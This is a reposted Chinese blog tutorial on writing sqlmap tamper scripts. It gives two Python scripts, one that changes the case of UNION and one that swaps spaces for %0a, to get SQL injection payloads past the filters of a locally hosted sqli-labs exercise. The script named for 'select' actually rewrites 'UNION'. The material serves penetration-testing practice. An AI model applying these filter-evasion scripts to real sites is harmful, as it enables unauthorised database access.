码迷,mamicode.com
首页 > 数据库 > 详细

sqlmap-tamper编写小结

时间:2017-09-24 16:13:55      阅读:209      评论:0      收藏:0      [点我收藏+]

标签:小结   python   xrange   ==   map   com   logs   false   导包   

目的:修改sqlmap中的tamper脚本来绕过代码对特定参数的过滤和转义

环境:win10、phpstudy2016、sqli-labs-master平台

工具:sqlmap、burpsuite

地址:http://127.0.0.1/sqli-labs-master/Less-27/?id=1

该页面过滤了select和空格,自定义脚本selec2SEleCT.py和space2%0a.py

selec2SEleCT.py脚本内容如下所示:

#!/usr/bin/env python  #定义解析器

from lib.core.enums import PRIORITY  #导包

__priority__ = PRIORITY.HIGHEST     #设置优先级

def dependencies():           #结构一致化
pass                  #占位符

def tamper(payload, **kwargs):      #定义tamper方法

return payload.replace("UNION", "UniON") if payload else payload  #使用UniON替换UNION

space2%0a.py脚本内容如下所示:

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "%0a"
continue

elif payload[i] == ‘\‘‘:
quote = not quote

elif payload[i] == ‘"‘:
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += "%0a"
continue

retVal += payload[i]

return retVal

用sqlmap直接跑,相关参数如下所示

技术分享

 

sqlmap-tamper编写小结

标签:小结   python   xrange   ==   map   com   logs   false   导包   

原文地址:http://www.cnblogs.com/peterpan0707007/p/7587267.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!